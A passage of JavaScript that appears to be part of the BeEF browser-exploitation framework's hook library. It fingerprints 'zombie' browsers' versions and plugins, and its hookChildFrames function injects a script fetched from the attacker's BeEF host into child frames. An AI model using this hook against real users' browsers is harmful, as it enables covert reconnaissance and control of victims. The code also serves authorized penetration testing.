            C46iOS: this.isC46iOS(), // Chrome 46 on iOS
            C47: this.isC47(), // Chrome 47
            C47iOS: this.isC47iOS(), // Chrome 47 on iOS
            C48: this.isC48(), // Chrome 48
            C48iOS: this.isC48iOS(), // Chrome 48 on iOS
            C49: this.isC49(), // Chrome 49
            C49iOS: this.isC49iOS(), // Chrome 49 on iOS
            C50: this.isC50(), // Chrome 50
            C50iOS: this.isC50iOS(), // Chrome 50 on iOS
            C51: this.isC51(), // Chrome 51
            C51iOS: this.isC51iOS(), // Chrome 51 on iOS
            C52: this.isC52(), // Chrome 52
            C52iOS: this.isC52iOS(), // Chrome 52 on iOS
            C53: this.isC53(), // Chrome 53
            C53iOS: this.isC53iOS(), // Chrome 53 on iOS
            C54: this.isC54(), // Chrome 54
            C54iOS: this.isC54iOS(), // Chrome 54 on iOS
            C55: this.isC55(), // Chrome 55
            C55iOS: this.isC55iOS(), // Chrome 55 on iOS
            C56: this.isC56(), // Chrome 56
            C56iOS: this.isC56iOS(), // Chrome 56 on iOS
            C57: this.isC57(), // Chrome 57
            C57iOS: this.isC57iOS(), // Chrome 57 on iOS
            C58: this.isC58(), // Chrome 58
            C58iOS: this.isC58iOS(), // Chrome 58 on iOS
            C63iOS: this.isC63iOS(),
            C: this.isC(), // Chrome any version

            FF2: this.isFF2(), // Firefox 2
            FF3: this.isFF3(), // Firefox 3
            FF3_5: this.isFF3_5(), // Firefox 3.5
            FF3_6: this.isFF3_6(), // Firefox 3.6
            FF4: this.isFF4(), // Firefox 4
            FF5: this.isFF5(), // Firefox 5
            FF6: this.isFF6(), // Firefox 6
            FF7: this.isFF7(), // Firefox 7
            FF8: this.isFF8(), // Firefox 8
            FF9: this.isFF9(), // Firefox 9
            FF10: this.isFF10(), // Firefox 10
            FF11: this.isFF11(), // Firefox 11
            FF12: this.isFF12(), // Firefox 12
            FF13: this.isFF13(), // Firefox 13
            FF14: this.isFF14(), // Firefox 14
            FF15: this.isFF15(), // Firefox 15
            FF16: this.isFF16(), // Firefox 16
            FF17: this.isFF17(), // Firefox 17
            FF18: this.isFF18(), // Firefox 18
            FF19: this.isFF19(), // Firefox 19
            FF20: this.isFF20(), // Firefox 20
            FF21: this.isFF21(), // Firefox 21
            FF22: this.isFF22(), // Firefox 22
            FF23: this.isFF23(), // Firefox 23
            FF24: this.isFF24(), // Firefox 24
            FF25: this.isFF25(), // Firefox 25
            FF26: this.isFF26(), // Firefox 26
            FF27: this.isFF27(), // Firefox 27
            FF28: this.isFF28(), // Firefox 28
            FF29: this.isFF29(), // Firefox 29
            FF30: this.isFF30(), // Firefox 30
            FF31: this.isFF31(), // Firefox 31
            FF32: this.isFF32(), // Firefox 32
            FF33: this.isFF33(), // Firefox 33
            FF34: this.isFF34(), // Firefox 34
            FF35: this.isFF35(), // Firefox 35
            FF36: this.isFF36(), // Firefox 36
            FF37: this.isFF37(), // Firefox 37
            FF38: this.isFF38(), // Firefox 38
            FF39: this.isFF39(), // Firefox 39
            FF40: this.isFF40(), // Firefox 40
            FF41: this.isFF41(), // Firefox 41
            FF42: this.isFF42(), // Firefox 42
            FF43: this.isFF43(), // Firefox 43
            FF44: this.isFF44(), // Firefox 44
            FF45: this.isFF45(), // Firefox 45
            FF46: this.isFF46(), // Firefox 46
            FF47: this.isFF47(), // Firefox 47
            FF48: this.isFF48(), // Firefox 48
            FF49: this.isFF49(), // Firefox 49
            FF50: this.isFF50(), // Firefox 50
            FF51: this.isFF51(), // Firefox 51
            FF52: this.isFF52(), // Firefox 52
            FF53: this.isFF53(), // Firefox 53
            FF54: this.isFF54(), // Firefox 54
            FF55: this.isFF55(), // Firefox 55
            FF56: this.isFF56(), // Firefox 56
            FF57: this.isFF57(), // Firefox 57
            FF58: this.isFF58(), // Firefox 58
            FF59: this.isFF59(), // Firefox 59
            FF60: this.isFF60(), // Firefox 60
            FF61: this.isFF61(), // Firefox 61
            FF62: this.isFF62(), // Firefox 62
            FF63: this.isFF63(), // Firefox 63
            FF64: this.isFF64(), // Firefox 64
            FF65: this.isFF65(), // Firefox 65
            FF66: this.isFF66(), // Firefox 66
            FF67: this.isFF67(), // Firefox 67
            FF68: this.isFF68(), // Firefox 68
            FF69: this.isFF69(), // Firefox 69
            FF70: this.isFF70(), // Firefox 70
            FF71: this.isFF71(), // Firefox 71
            FF72: this.isFF72(), // Firefox 72
            FF73: this.isFF73(), // Firefox 73
            FF74: this.isFF74(), // Firefox 74
            FF75: this.isFF75(), // Firefox 75
            FF76: this.isFF76(), // Firefox 76
            FF77: this.isFF77(), // Firefox 77
            FF78: this.isFF78(), // Firefox 78
            FF79: this.isFF79(), // Firefox 79
            FF80: this.isFF80(), // Firefox 70
            FF81: this.isFF81(), // Firefox 81
            FF82: this.isFF82(), // Firefox 82
            FF83: this.isFF83(), // Firefox 83
            FF84: this.isFF84(), // Firefox 85
            FF85: this.isFF85(), // Firefox 85
            FF86: this.isFF86(), // Firefox 85
            FF87: this.isFF87(), // Firefox 87
            FF88: this.isFF88(), // Firefox 85
            FF89: this.isFF89(), // Firefox 85
            FF90: this.isFF90(), // Firefox 80
            FF91: this.isFF91(), // Firefox 95
            FF92: this.isFF92(), // Firefox 92
            FF93: this.isFF93(), // Firefox 95
            FF94: this.isFF94(), // Firefox 94
            FF95: this.isFF95(), // Firefox 95
            FF96: this.isFF96(), // Firefox 96
            FF97: this.isFF97(), // Firefox 97
            FF98: this.isFF98(), // Firefox 98
            FF99: this.isFF99(), // Firefox 99

            FF: this.isFF(),   // Firefox any version

            IE6: this.isIE6(), // Internet Explorer 6
            IE7: this.isIE7(), // Internet Explorer 7
            IE8: this.isIE8(), // Internet Explorer 8
            IE9: this.isIE9(), // Internet Explorer 9
            IE10: this.isIE10(), // Internet Explorer 10
            IE11: this.isIE11(), // Internet Explorer 11
            IE: this.isIE(), // Internet Explorer any version

            O9_52: this.isO9_52(), // Opera 9.50 through 9.52
            O9_60: this.isO9_60(), // Opera 9.60 through 9.64
            O10: this.isO10(), // Opera 10.xx
            O11: this.isO11(), // Opera 11.xx
            O12: this.isO12(), // Opera 12.xx
            O: this.isO(),   // Opera any version

            EP: this.isEpi(), // Epiphany any version

            S4: this.isS4(), // Safari 4.xx
            S5: this.isS5(), // Safari 5.xx
            S6: this.isS6(), // Safari 6.x
            S7: this.isS7(), // Safari 7.x
            S8: this.isS8(), // Safari 8.x
            S: this.isS()   // Safari any version
        }
    },

    /**
     * Returns the major version of the browser being used.
     * @return: {String} version number || 'UNKNOWN'.
     *
     * @example: beef.browser.getBrowserVersion()
     */
    getBrowserVersion: function () {
        if (this.isEdge()) {
          try {
            return platform.version;
          } catch(e) {
            return 'unknown';
          }
        }
        ;   // Microsoft Edge

        if (this.isC5()) {
            return '5'
        }
        ;   // Chrome 5
        if (this.isC6()) {
            return '6'
        }
        ;   // Chrome 6
        if (this.isC7()) {
            return '7'
        }
        ;   // Chrome 7
        if (this.isC8()) {
            return '8'
        }
        ;   // Chrome 8
        if (this.isC9()) {
            return '9'
        }
        ;   // Chrome 9
        if (this.isC10()) {
            return '10'
        }
        ;   // Chrome 10
        if (this.isC11()) {
            return '11'
        }
        ;   // Chrome 11
        if (this.isC12()) {
            return '12'
        }
        ;   // Chrome 12
        if (this.isC13()) {
            return '13'
        }
        ;   // Chrome 13
        if (this.isC14()) {
            return '14'
        }
        ;   // Chrome 14
        if (this.isC15()) {
            return '15'
        }
        ;   // Chrome 15
        if (this.isC16()) {
            return '16'
        }
        ;	// Chrome 16
        if (this.isC17()) {
            return '17'
        }
        ;	// Chrome 17
        if (this.isC18()) {
            return '18'
        }
        ;	// Chrome 18
        if (this.isC19()) {
            return '19'
        }
        ;	// Chrome 19
        if (this.isC19iOS()) {
            return '19'
        }
        ;   // Chrome 19 for iOS
        if (this.isC20()) {
            return '20'
        }
        ;	// Chrome 20
        if (this.isC20iOS()) {
            return '20'
        }
        ;   // Chrome 20 for iOS
        if (this.isC21()) {
            return '21'
        }
        ;	// Chrome 21
        if (this.isC21iOS()) {
            return '21'
        }
        ;   // Chrome 21 for iOS
        if (this.isC22()) {
            return '22'
        }
        ;    // Chrome 22
        if (this.isC22iOS()) {
            return '22'
        }
        ;   // Chrome 22 for iOS
        if (this.isC23()) {
            return '23'
        }
        ;    // Chrome 23
        if (this.isC23iOS()) {
            return '23'
        }
        ;   // Chrome 23 for iOS
        if (this.isC24()) {
            return '24'
        }
        ;    // Chrome 24
        if (this.isC24iOS()) {
            return '24'
        }
        ;   // Chrome 24 for iOS
        if (this.isC25()) {
            return '25'
        }
        ;    // Chrome 25
        if (this.isC25iOS()) {
            return '25'
        }
        ;   // Chrome 25 for iOS
        if (this.isC26()) {
            return '26'
        }
        ;    // Chrome 26
        if (this.isC26iOS()) {
            return '26'
        }
        ;   // Chrome 26 for iOS
        if (this.isC27()) {
            return '27'
        }
        ;    // Chrome 27
        if (this.isC27iOS()) {
            return '27'
        }
        ;   // Chrome 27 for iOS
        if (this.isC28()) {
            return '28'
        }
        ;    // Chrome 28
        if (this.isC28iOS()) {
            return '28'
        }
        ;   // Chrome 28 for iOS
        if (this.isC29()) {
            return '29'
        }
        ;    // Chrome 29
        if (this.isC29iOS()) {
            return '29'
        }
        ;   // Chrome 29 for iOS
        if (this.isC30()) {
            return '30'
        }
        ;    // Chrome 30
        if (this.isC30iOS()) {
            return '30'
        }
        ;   // Chrome 30 for iOS
        if (this.isC31()) {
            return '31'
        }
        ;   // Chrome 31
        if (this.isC31iOS()) {
            return '31'
        }
        ;   // Chrome 31 for iOS
        if (this.isC32()) {
            return '32'
        }
        ;   // Chrome 32
        if (this.isC32iOS()) {
            return '32'
        }
        ;   // Chrome 32 for iOS
        if (this.isC33()) {
            return '33'
        }
        ;   // Chrome 33
        if (this.isC33iOS()) {
            return '33'
        }
        ;   // Chrome 33 for iOS
        if (this.isC34()) {
            return '34'
        }
        ;   // Chrome 34
        if (this.isC34iOS()) {
            return '34'
        }
        ;   // Chrome 34 for iOS
        if (this.isC35()) {
            return '35'
        }
        ;   // Chrome 35
        if (this.isC35iOS()) {
            return '35'
        }
        ;   // Chrome 35 for iOS
        if (this.isC36()) {
            return '36'
        }
        ;   // Chrome 36
        if (this.isC36iOS()) {
            return '36'
        }
        ;   // Chrome 36 for iOS
        if (this.isC37()) {
            return '37'
        }
        ;   // Chrome 37
        if (this.isC37iOS()) {
            return '37'
        }
        ;   // Chrome 37 for iOS
        if (this.isC38()) {
            return '38'
        }
        ;   // Chrome 38
        if (this.isC38iOS()) {
            return '38'
        }
        ;   // Chrome 38 for iOS
        if (this.isC39()) {
            return '39'
        }
        ;   // Chrome 39
        if (this.isC39iOS()) {
            return '39'
        }
        ;   // Chrome 39 for iOS
        if (this.isC40()) {
            return '40'
        }
        ;   // Chrome 40
        if (this.isC40iOS()) {
            return '40'
        }
        ;   // Chrome 40 for iOS
        if (this.isC41()) {
            return '41'
        }
        ;   // Chrome 41
        if (this.isC41iOS()) {
            return '41'
        }
        ;   // Chrome 41 for iOS
        if (this.isC42()) {
            return '42'
        }
        ;   // Chrome 42
        if (this.isC42iOS()) {
            return '42'
        }
        ;   // Chrome 42 for iOS
        if (this.isC43()) {
            return '43'
        }
        ;   // Chrome 43
        if (this.isC43iOS()) {
            return '43'
        }
        ;   // Chrome 43 for iOS
        if (this.isC44()) {
            return '44'
        }
        ;   // Chrome 44
        if (this.isC44iOS()) {
            return '44'
        }
        ;   // Chrome 44 for iOS
        if (this.isC45()) {
            return '45'
        }
        ;   // Chrome 45
        if (this.isC45iOS()) {
            return '45'
        }
        ;   // Chrome 45 for iOS
        if (this.isC46()) {
            return '46'
        }
        ;// Chrome 46
        if (this.isC46iOS()) {
            return '46'
        }
        ;   // Chrome 46 for iOS
        if (this.isC47()) {
            return '47'
        }
        ;// Chrome 47
        if (this.isC47iOS()) {
            return '47'
        }
        ;   // Chrome 47 for iOS
        if (this.isC48()) {
            return '48'
        }
        ;// Chrome 48
        if (this.isC48iOS()) {
            return '48'
        }
        ;   // Chrome 48 for iOS
        if (this.isC49()) {
            return '49'
        }
        ;// Chrome 49
        if (this.isC49iOS()) {
            return '49'
        }
        ;   // Chrome 49 for iOS
        if (this.isC50()) {
            return '50'
        }
        ;// Chrome 50
        if (this.isC50iOS()) {
            return '50'
        }
        ;   // Chrome 50 for iOS
        if (this.isC51()) {
            return '51'
        }
        ;// Chrome 51
        if (this.isC51iOS()) {
            return '51'
        }
        ;   // Chrome 51 for iOS
        if (this.isC52()) {
            return '52'
        }
        ;// Chrome 52
        if (this.isC52iOS()) {
            return '52'
        }
        ;   // Chrome 52 for iOS
        if (this.isC53()) {
            return '53'
        }
        ;// Chrome 53
        if (this.isC53iOS()) {
            return '53'
        }
        ;   // Chrome 53 for iOS
        if (this.isC54()) {
            return '54'
        }
        ;// Chrome 54
        if (this.isC54iOS()) {
            return '54'
        }
        ;   // Chrome 54 for iOS
        if (this.isC55()) {
            return '55'
        }
        ;// Chrome 55
        if (this.isC55iOS()) {
            return '55'
        }
        ;   // Chrome 55 for iOS
        if (this.isC56()) {
            return '56'
        }
        ;// Chrome 56
        if (this.isC56iOS()) {
            return '56'
        }
        ;   // Chrome 56 for iOS
        if (this.isC57()) {
            return '57'
        }
        ;// Chrome 57
        if (this.isC57iOS()) {
            return '57'
        }
        ;   // Chrome 57 for iOS
        if (this.isC58()) {
            return '58'
        }
        ;// Chrome 58
        if (this.isC58iOS()) {
            return '58'
        }
        ;   // Chrome 58 for iOS


        if (this.isFF2()) {
            return '2'
        }
        ;	// Firefox 2
        if (this.isFF3()) {
            return '3'
        }
        ;	// Firefox 3
        if (this.isFF3_5()) {
            return '3.5'
        }
        ;	// Firefox 3.5
        if (this.isFF3_6()) {
            return '3.6'
        }
        ;	// Firefox 3.6
        if (this.isFF4()) {
            return '4'
        }
        ;	// Firefox 4
        if (this.isFF5()) {
            return '5'
        }
        ;	// Firefox 5
        if (this.isFF6()) {
            return '6'
        }
        ;	// Firefox 6
        if (this.isFF7()) {
            return '7'
        }
        ;	// Firefox 7
        if (this.isFF8()) {
            return '8'
        }
        ;	// Firefox 8
        if (this.isFF9()) {
            return '9'
        }
        ;	// Firefox 9
        if (this.isFF10()) {
            return '10'
        }
        ;	// Firefox 10
        if (this.isFF11()) {
            return '11'
        }
        ;	// Firefox 11
        if (this.isFF12()) {
            return '12'
        }
        ;	// Firefox 12
        if (this.isFF13()) {
            return '13'
        }
        ;	// Firefox 13
        if (this.isFF14()) {
            return '14'
        }
        ;	// Firefox 14
        if (this.isFF15()) {
            return '15'
        }
        ;	// Firefox 15
        if (this.isFF16()) {
            return '16'
        }
        ;	// Firefox 16
        if (this.isFF17()) {
            return '17'
        }
        ;    // Firefox 17
        if (this.isFF18()) {
            return '18'
        }
        ;    // Firefox 18
        if (this.isFF19()) {
            return '19'
        }
        ;    // Firefox 19
        if (this.isFF20()) {
            return '20'
        }
        ;    // Firefox 20
        if (this.isFF21()) {
            return '21'
        }
        ;    // Firefox 21
        if (this.isFF22()) {
            return '22'
        }
        ;   // Firefox 22
        if (this.isFF23()) {
            return '23'
        }
        ;   // Firefox 23
        if (this.isFF24()) {
            return '24'
        }
        ;   // Firefox 24
        if (this.isFF25()) {
            return '25'
        }
        ;   // Firefox 25
        if (this.isFF26()) {
            return '26'
        }
        ;   // Firefox 26
        if (this.isFF27()) {
            return '27'
        }
        ;   // Firefox 27
        if (this.isFF28()) {
            return '28'
        }
        ;   // Firefox 28
        if (this.isFF29()) {
            return '29'
        }
        ;   // Firefox 29
        if (this.isFF30()) {
            return '30'
        }
        ;   // Firefox 30
        if (this.isFF31()) {
            return '31'
        }
        ;   // Firefox 31
        if (this.isFF32()) {
            return '32'
        }
        ;   // Firefox 32
        if (this.isFF33()) {
            return '33'
        }
        ;   // Firefox 33
        if (this.isFF34()) {
            return '34'
        }
        ;   // Firefox 34
        if (this.isFF35()) {
            return '35'
        }
        ;   // Firefox 35
        if (this.isFF36()) {
            return '36'
        }
        ;   // Firefox 36
        if (this.isFF37()) {
            return '37'
        }
        ;   // Firefox 37
        if (this.isFF38()) {
            return '38'
        }
        ;   // Firefox 38
        if (this.isFF39()) {
            return '39'
        }
        ;   // Firefox 39
        if (this.isFF40()) {
            return '40'
        }
        ;   // Firefox 40
        if (this.isFF41()) {
            return '41'
        }
        ;   // Firefox 41
        if (this.isFF42()) {
            return '42'
        }
        ;   // Firefox 42
        if (this.isFF43()) {
            return '43'
        }
        ;   // Firefox 43
        if (this.isFF44()) {
            return '44'
        }
        ;   // Firefox 44
        if (this.isFF45()) {
            return '45'
        }
        ;   // Firefox 45
        if (this.isFF46()) {
            return '46'
        }
        ;   // Firefox 46
        if (this.isFF47()) {
            return '47'
        }
        ;   // Firefox 47
        if (this.isFF48()) {
            return '48'
        }
        ;   // Firefox 48
        if (this.isFF49()) {
            return '49'
        }
        ;   // Firefox 49
        if (this.isFF50()) {
            return '50'
        }
        ;   // Firefox 50
        if (this.isFF51()) {
            return '51'
        }
        ;   // Firefox 51
        if (this.isFF52()) {
            return '52'
        }
        ;   // Firefox 52
        if (this.isFF53()) {
            return '53'
        }
        ;   // Firefox 53
        if (this.isFF54()) {
            return '54'
        }
        ;   // Firefox 54
        if (this.isFF55()) {
            return '55'
        }
        ;   // Firefox 55
        if (this.isFF56()) {
            return '56'
        }
        ;   // Firefox 56
        if (this.isFF57()) {
            return '57'
        }
        ;   // Firefox 57
        if (this.isFF58()) {
            return '58'
        }
        ;   // Firefox 58
        if (this.isFF59()) {
            return '59'
        }
        ;   // Firefox 59
        if (this.isFF60()) {
            return '60'
        }
        ;   // Firefox 60
        if (this.isFF61()) {
            return '61'
        }
        ;   // Firefox 61
        if (this.isFF62()) {
            return '62'
        }
        ;   // Firefox 62
        if (this.isFF63()) {
            return '63'
        }
        ;   // Firefox 63
        if (this.isFF64()) {
            return '64'
        }
        ;   // Firefox 64
        if (this.isFF65()) {
            return '65'
        }
        ;   // Firefox 65
        if (this.isFF66()) {
            return '66'
        }
        ;   // Firefox 66
        if (this.isFF67()) {
            return '67'
        }
        ;   // Firefox 67
        if (this.isFF68()) {
            return '68'
        }
        ;   // Firefox 68
        if (this.isFF69()) {
            return '69'
        }
        ;   // Firefox 69
        if (this.isFF70()) {
            return '70'
        }
        ;   // Firefox 70
        if (this.isFF71()) {
            return '71'
        }
        ;   // Firefox 71
        if (this.isFF72()) {
            return '72'
        }
        ;   // Firefox 72
        if (this.isFF73()) {
            return '73'
        }
        ;   // Firefox 73
        if (this.isFF74()) {
            return '74'
        }
        ;   // Firefox 74
        if (this.isFF75()) {
            return '75'
        }
        ;   // Firefox 75
        if (this.isFF76()) {
            return '76'
        }
        ;   // Firefox 76
        if (this.isFF77()) {
            return '77'
        }
        ;   // Firefox 77
        if (this.isFF78()) {
            return '78'
        }
        ;   // Firefox 78
        if (this.isFF79()) {
            return '79'
        }
        ;   // Firefox 79
        if (this.isFF80()) {
            return '80'
        }
        ;   // Firefox 80
        if (this.isFF81()) {
            return '81'
        }
        ;   // Firefox 81
        if (this.isFF82()) {
            return '82'
        }
        ;   // Firefox 82
        if (this.isFF83()) {
            return '83'
        }
        ;   // Firefox 83
        if (this.isFF84()) {
            return '84'
        }
        ;   // Firefox 84
        if (this.isFF85()) {
            return '85'
        }
        ;   // Firefox 85
        if (this.isFF86()) {
            return '86'
        }
        ;   // Firefox 86
        if (this.isFF87()) {
            return '87'
        }
        ;   // Firefox 87
        if (this.isFF88()) {
            return '88'
        }
        ;   // Firefox 88
        if (this.isFF89()) {
            return '89'
        }
        ;   // Firefox 89
        if (this.isFF90()) {
            return '90'
        }
        ;   // Firefox 90
        if (this.isFF91()) {
            return '91'
        }
        ;   // Firefox 91
        if (this.isFF92()) {
            return '92'
        }
        ;   // Firefox 92
        if (this.isFF93()) {
            return '93'
        }
        ;   // Firefox 93
        if (this.isFF94()) {
            return '94'
        }
        ;   // Firefox 94
        if (this.isFF95()) {
            return '95'
        }
        ;   // Firefox 95
        if (this.isFF96()) {
            return '96'
        }
        ;   // Firefox 96
        if (this.isFF97()) {
            return '97'
        }
        ;   // Firefox 97
        if (this.isFF98()) {
            return '98'
        }
        ;   // Firefox 98
        if (this.isFF99()) {
            return '99'
        }
        ;   // Firefox 99

        if (this.isIE6()) {
            return '6'
        }
        ;	// Internet Explorer 6
        if (this.isIE7()) {
            return '7'
        }
        ;	// Internet Explorer 7
        if (this.isIE8()) {
            return '8'
        }
        ;	// Internet Explorer 8
        if (this.isIE9()) {
            return '9'
        }
        ;	// Internet Explorer 9
        if (this.isIE10()) {
            return '10'
        }
        ;	// Internet Explorer 10
        if (this.isIE11()) {
            return '11'
        }
        ;   // Internet Explorer 11

        if (this.isEdge()) {
            return '1'
        }
        ;   // Microsoft Edge

        if (this.isEpi()) {
            // believe the UserAgent string for version info - until whenever
            var epiphanyRe = /Epiphany\/(\d+)/;
            var versionDetails = epiphanyRe.exec( beef.browser.getBrowserReportedName());
            if (versionDetails.length > 1) {
                return versionDetails[1];
            } else {
                return "UNKNOWN"; // returns from here or it may take Safari version details
            }
        }
        ;                       // Epiphany

        if (this.isS4()) {
            return '4'
        }
        ;	// Safari 4
        if (this.isS5()) {
            return '5'
        }
        ;	// Safari 5
        if (this.isS6()) {
            return '6'
        }
        ;	// Safari 6

        if (this.isS7()) {
            return '7'
        }
        ;	// Safari 7
        if (this.isS8()) {
            return '8'
        }
        ;       // Safari 8

        if (this.isO9_52()) {
            return '9.5'
        }
        ;	// Opera 9.5x
        if (this.isO9_60()) {
            return '9.6'
        }
        ;	// Opera 9.6
        if (this.isO10()) {
            return '10'
        }
        ;	// Opera 10.xx
        if (this.isO11()) {
            return '11'
        }
        ;	// Opera 11.xx
        if (this.isO12()) {
            return '12'
        }
        ;	// Opera 12.xx

        // platform.js
        try {
          var version = platform.version;
          if (!!version)
            return version;
        } catch (e) {}

        return 'UNKNOWN';				// Unknown UA
    },

    /**
     * Returns the type of user agent by hooked browser.
     * @return: {String} User agent software.
     *
     * @example: beef.browser.getBrowserName()
     */
    getBrowserName: function () {
        if (this.isEdge()) {
            return 'E'
        }
        ;       // Microsoft Edge any version
        if (this.isC()) {
            return 'C'
        }
        ;   // Chrome any version
        if (this.isFF()) {
            return 'FF'
        }
        ;		// Firefox any version
        if (this.isIE()) {
            return 'IE'
        }
        ;		// Internet Explorer any version
        if (this.isO()) {
            return 'O'
        }
        ;		// Opera any version
        if (this.isEpi()) {
            return 'EP'
        }
        ;			// Epiphany any version
        if (this.isS()) {
            return 'S'
        }
        ;		// Safari any version
        if (this.isA()) {
            return 'A'
        }
        ;               // Avant any version
        if (this.isMidori()) {
            return 'MI'
        }
        ;               // Midori any version
        if (this.isOdyssey()) {
            return 'OD'
        }
        ;               // Odyssey any version
        if (this.isBrave()) {
            return 'BR'
        }
        ;               // Brave any version
        return 'UNKNOWN';	// Unknown UA
    },

    /**
     * Hooks all child frames in the current window
     * Restricted by same-origin policy
     */
    hookChildFrames: function () {

        // create script object
        var script = document.createElement('script');
        script.type = 'text/javascript';
        script.src = '<%== @beef_proto %>://<%== @beef_host %>:<%== @beef_port %><%== @hook_file %>';

        // loop through child frames
        for (var i = 0; i < self.frames.length; i++) {
            try {
                // append hook script
                self.frames[i].document.body.appendChild(script);
                beef.debug("Hooked child frame [src:" + self.frames[i].window.location.href + "]");
            } catch (e) {
                // warn on cross-origin
                beef.debug("Hooking child frame failed: " + e.message);
            }
        }
    },

    /**
     * Checks if the zombie has flash installed and enabled.
     * @return: {Boolean} true or false.
     *
     * @example: if(beef.browser.hasFlash()) { ... }
     */
    hasFlash: function () {
      if (!beef.browser.isIE()) {
        return (navigator.mimeTypes && navigator.mimeTypes["application/x-shockwave-flash"]);
      }

      if (!!navigator.plugins) {
        return (navigator.plugins["Shockwave Flash"] != undefined);
      }

      // IE
      var flash_versions = 12;
      if (window.ActiveXObject != null) {
        for (x = 2; x <= flash_versions; x++) {
          try {
            Flash = eval("new ActiveXObject('ShockwaveFlash.ShockwaveFlash." + x + "');");
            if (Flash) {
              return true;
            }
          } catch (e) {
            beef.debug("Creating Flash ActiveX object failed: " + e.message);
          }
        }
      }

      return false;
    },

    /**
     * Checks if the zombie has the QuickTime plugin installed.
     * @return: {Boolean} true or false.
     *
     * @example: if ( beef.browser.hasQuickTime() ) { ... }
     */
    hasQuickTime: function () {
        if (!!navigator.plugins) {
            for (i = 0; i < navigator.plugins.length; i++) {
                if (navigator.plugins[i].name.indexOf("QuickTime") >= 0) {
                    return true;
                }
            }
        }

        // IE
        try {
          var qt_test = new ActiveXObject('QuickTime.QuickTime');
          if (qt_test) {
            return true;
          }
        } catch (e) {
          beef.debug("Creating QuickTime ActiveX object failed: " + e.message);
        }

        return false;
    },

    /**
     * Checks if the zombie has the RealPlayer plugin installed.
     * @return: {Boolean} true or false.
     *
     * @example: if ( beef.browser.hasRealPlayer() ) { ... }
     */
    hasRealPlayer: function () {

        if (!!navigator.plugins) {
          for (i = 0; i < navigator.plugins.length; i++) {
            if (navigator.plugins[i].name.indexOf("RealPlayer") >= 0) {
              return true;
            }
          }
        }

        // IE
        var definedControls = [
          'RealPlayer',
          'rmocx.RealPlayer G2 Control',
          'rmocx.RealPlayer G2 Control.1',
          'RealPlayer.RealPlayer(tm) ActiveX Control (32-bit)',
          'RealVideo.RealVideo(tm) ActiveX Control (32-bit)'
        ];

        for (var i = 0; i < definedControls.length; i++) {
          try {
            var rp_test = new ActiveXObject(definedControls[i]);
            if (rp_test) {
              return true;
            }
          } catch (e) {
            beef.debug("Creating RealPlayer ActiveX object failed: " + e.message);
          }
        }

        return false;
    },

    /**
     * Checks if the zombie has the Windows Media Player plugin installed.
     * @return: {Boolean} true or false.
     *
     * @example: if ( beef.browser.hasWMP() ) { ... }
     */
    hasWMP: function () {
      if (!!navigator.plugins) {
        for (i = 0; i < navigator.plugins.length; i++) {
          if (navigator.plugins[i].name.indexOf("Windows Media Player") >= 0) {
            return true;
          }
        }
      }

      // IE
      try {
        var wmp_test = new ActiveXObject('WMPlayer.OCX');
        if (wmp_test) {
          return true;
        }
      } catch (e) {
        beef.debug("Creating WMP ActiveX object failed: " + e.message);
      }

      return false;
    },

    /**
     *  Checks if VLC is installed
     *  @return: {Boolean} true or false
     **/
    hasVLC: function () {
      if (beef.browser.isIE() || beef.browser.isEdge()) {
        try {
          control = new ActiveXObject("VideoLAN.VLCPlugin.2");
          return true;
        } catch (e) {
          beef.debug("Creating VLC ActiveX object failed: " + e.message);
        }
      } else {
        for (i = 0; i < navigator.plugins.length; i++) {
          if (navigator.plugins[i].name.indexOf("VLC") >= 0) {
            return true;
          }
        }
      }
      return false;
    },

    /**
     * Checks if the zombie has Java enabled.
     * @return: {Boolean} true or false.
     *
     * @example: if(beef.browser.javaEnabled()) { ... }
     */
    javaEnabled: function () {
      return navigator.javaEnabled();
    },

    /**
     * Checks if the Phonegap API is available from the hooked origin.
     * @return: {Boolean} true or false.
     *
     * @example: if(beef.browser.hasPhonegap()) { ... }
     */
    hasPhonegap: function () {
        var result = false;

        try {
            if (!!device.phonegap || !!device.cordova) result = true; else result = false;
        }
        catch (e) {
            result = false;
        }
        return result;
    },

    /**
     * Checks if the browser supports CORS
     * @return: {Boolean} true or false.
     *
     * @example: if(beef.browser.hasCors()) { ... }
     */
    hasCors: function () {
        if ('withCredentials' in new XMLHttpRequest())
            return true;
        else if (typeof XDomainRequest !== "undefined")
            return true;
        else
            return false;
    },

    /**
     * Checks if the zombie has Java installed and enabled.
     * @return: {Boolean} true or false.
     *
     * @example: if(beef.browser.hasJava()) { ... }
     */
    hasJava: function () {
        if (beef.browser.getPlugins().match(/java/i) && beef.browser.javaEnabled()) {
          return true;
        } else {
          return false;
        }
    },

    /**
     * Checks if the zombie has VBScript enabled.
     * @return: {Boolean} true or false.
     *
     * @example: if(beef.browser.hasVBScript()) { ... }
     */
    hasVBScript: function () {
        if ((navigator.userAgent.indexOf('MSIE') != -1) && (navigator.userAgent.indexOf('Win') != -1)) {
            return true;
        } else {
            return false;
        }
    },

    /**
     * Returns the list of plugins installed in the browser.
     */
    getPlugins: function () {

        var results;

        function unique(array) {
          return $j.grep(array, function(el, index) {
            return index === $j.inArray(el, array);
          });
        }

        // Things lacking navigator.plugins
        if (!navigator.plugins) 
          return this.getPluginsIE();

        // All other browsers that support navigator.plugins
        if (navigator.plugins && navigator.plugins.length > 0) {
            results = new Array();
            for (var i = 0; i < navigator.plugins.length; i++) {

                // Firefox returns exact plugin versions
                if (beef.browser.isFF()) results[i] = navigator.plugins[i].name + '-v.' + navigator.plugins[i].version;

                // Webkit and Presto (Opera)
                // Don't support the version attribute
                // Sometimes store the version in description (Real, Adobe)
                else results[i] = navigator.plugins[i].name;// + '-desc.' + navigator.plugins[i].description;
            }
            results = unique(results).toString();
            
            // All browsers that don't support navigator.plugins
        } else {
            results = new Array();
            //firefox https://bugzilla.mozilla.org/show_bug.cgi?id=757726
            // On linux sistem the "version" slot is empty so I'll attach "description" after version
            var plugins = {

                'AdobeAcrobat': {
                    'control': 'Adobe Acrobat',
                    'return': function (control) {
                        try {
                            version = navigator.plugins["Adobe Acrobat"]["description"];
                            return 'Adobe Acrobat Version  ' + version; //+ " description "+ filename;

                        }
                        catch (e) {
                        }


                    }},
                'Flash': {
                    'control': 'Shockwave Flash',
                    'return': function (control) {
                        try {
                            version = navigator.plugins["Shockwave Flash"]["description"];
                            return 'Flash Player Version ' + version; //+ " description "+ filename;
                        }

                        catch (e) {
                        }
                    }},
                'Google_Talk_Plugin_Accelerator': {
                    'control': 'Google Talk Plugin Video Accelerator',
                    'return': function (control) {

                        try {
                            version = navigator.plugins['Google Talk Plugin Video Accelerator']["description"];
